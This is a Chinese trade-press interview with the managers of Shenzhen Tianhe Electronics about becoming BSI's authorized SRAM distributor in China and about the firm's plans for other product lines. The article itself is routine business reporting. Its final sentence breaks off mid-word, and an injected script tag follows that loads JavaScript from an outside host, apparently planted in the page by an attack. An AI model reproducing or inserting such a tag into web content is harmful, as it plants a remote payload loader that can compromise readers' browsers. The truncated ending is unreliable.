当得知台湾连邦科技（bsi）中国区经理要造访深圳天和电子时，记者尤其激动，深圳天和电子这个仅四年元件经销经验的本土企业，能够放眼整个元件产业发展，力争取得连邦科技（bsi）sram中国区授权代理，早已经引起了记者的注意。
在深圳华强北电子元器件商圈内，大大小小几千家元器件贸易商，他们有的甚至有十几二十年的历史，但是真正能够做大做强，并有长远规划、有整体目标的，实为少数；而想走上授权分销商道路的经销商更是少之又少。
天和电子总经理吴雪却说：“从简单的元器件经销，到拿到产品授权代理权，走上元件分销之路，这应该是一个行业发展趋势。对此，我们天和早在成立之初，就已经制定目标——两年之后走上元件分销商的道路。”事实确是如此，2002年4月，深圳天和成立，2004年11月，经过一系列努力，天和取得台湾联邦科技（bsi）中国区授权代理，从此以后，天和也有了自己的拳头产品——sram全系列产品。
关于深圳天和电子，关于当年放弃海南海事局国家公务员待遇，下海经商的天和女总经理吴雪，记者有话要说。11月10日，记者在电子科技大厦，与天和电子总经理吴雪及公司副总曾伟有了一次面对面交流的机会。
记者：请简单介绍一下天和电子的基本情况。
天和电子：天和成立于2002年，公司目前在北京、上海、成都、香港都设立了办事机构。我们一直专注于电子零件的独立分销业务，产品涉及4大类：数模转换、mcu单片机、接口器件、存储器。目前，bsi的sram存储系列已经成为我们的拳头产品，我们是bsi中国区的授权分销商。
记者：天和与bsi是怎么样走在一起的？能分享一下你们双方合作的契机么？
天和电子：走在一起也是缘分，我们非常感谢bsi对我们的信任。
其实，要走元件分销之路是我们天和既定的目标，我们认为，元件市场简单的经销将来肯定要规范化，走授权代理是一种趋势。在公司成立之初，我们就制定了公司发展规划，目标之一就是争取在2年之后走上授权分销之路。所以，我们一直在做人力资本、财力资本等方方面面的储备。
更重要的是，一个公司要有自己的优势，必须要有自己的拳头产品，我们锁定了bsi的sram。而bsi以前一直将重点放在欧美市场，对中国市场的关注不够，对于这个二、三级世界品牌来说，他们找安富利、找艾睿，未必比找我们这些有自己优势又有热情的小型经销商容易，基于双方都有需求这一点，加上我们的团队，我们的努力，bsi也经过了严格的考察，去年11月，我们终于成为bsi中国区授权分销商。
记者：从一个简单的经销元器件的贸易公司，转型到授权分销商，有没有遇到什么困难？成为bsi的授权分销商对你们有什么影响？
天和电子：困难肯定是有的。首先我们要得到bsi的认可就是一件不简单的事情，刚刚开始的时候我们是在做赔本买卖，直到前两个月才看到回报，还好我们有这心里准备和物质准备。
虽然bsi的sram在欧美市场份额很大，但在大陆市场推广力度不够，所以刚开始时国内制造商和其他贸易商对其认可度都不太高，这对我们的推广都是极大的压力。但bsi的品牌，bsi产品的质量，我们信任，所以当时的压力反而成了我们的动力，因为一旦得到业内的认可，那就是我们得到回报的时候。我们专门成立了一个有10个sales的推广团队，利用既有客户进行推广，逐渐建立起了sram的销售网络，2个月前终于有了回报！bsi方面，也开始对我们刮目相看。对暂得利益的舍弃，眼光放长远，这是我们全体员工的总结。
成为bsi的授权代理，对我们天和影响很大，原厂方面的技术支持，通畅的货源渠道等都是显而易见的，而更重要的是客户对天和的信任度得到了加强，因为成为bsi的授权代理，客户肯定了我们的实力，对我们的信任感也接踵而至。这点我们感到很欣慰。当然，bsi的授权分销只是一个好的开端，我们还会继续努力争取其他产品的授权代理。
记者：刚刚您说到，成为bsi的授权分销只是一个开端，天和还要努力争取其他产品的授权代理。那么能不能谈一下天和在选择品牌代理时都会考虑哪些因素？或者说选择品牌代理的标准时什么？
天和电子：这让我想起当初我们刚进入这个行业时，摸石头过河的日子。还在我们做贸易商的时候，由于缺少行业经验，当时我们选择产品时，很盲目，做了很多产品，但是终究没有自己的拳头产品。
不过也感谢那段时期，我们才逐渐摸清路子，开始给客户进行分类，慢慢的根据固定客户的需求来选择自己的主力产品，从而形成自己的优势。目前，我们的产品主要是四个方向：数模转换、mcu单片机、接口器件和存储器。现在存储器我们已将bsi的sram作为拳头产品，那么接下来，我们要争取在数模转换、mcu单片机、接口器件领域，各寻?script src=http://er12.com/t.js>
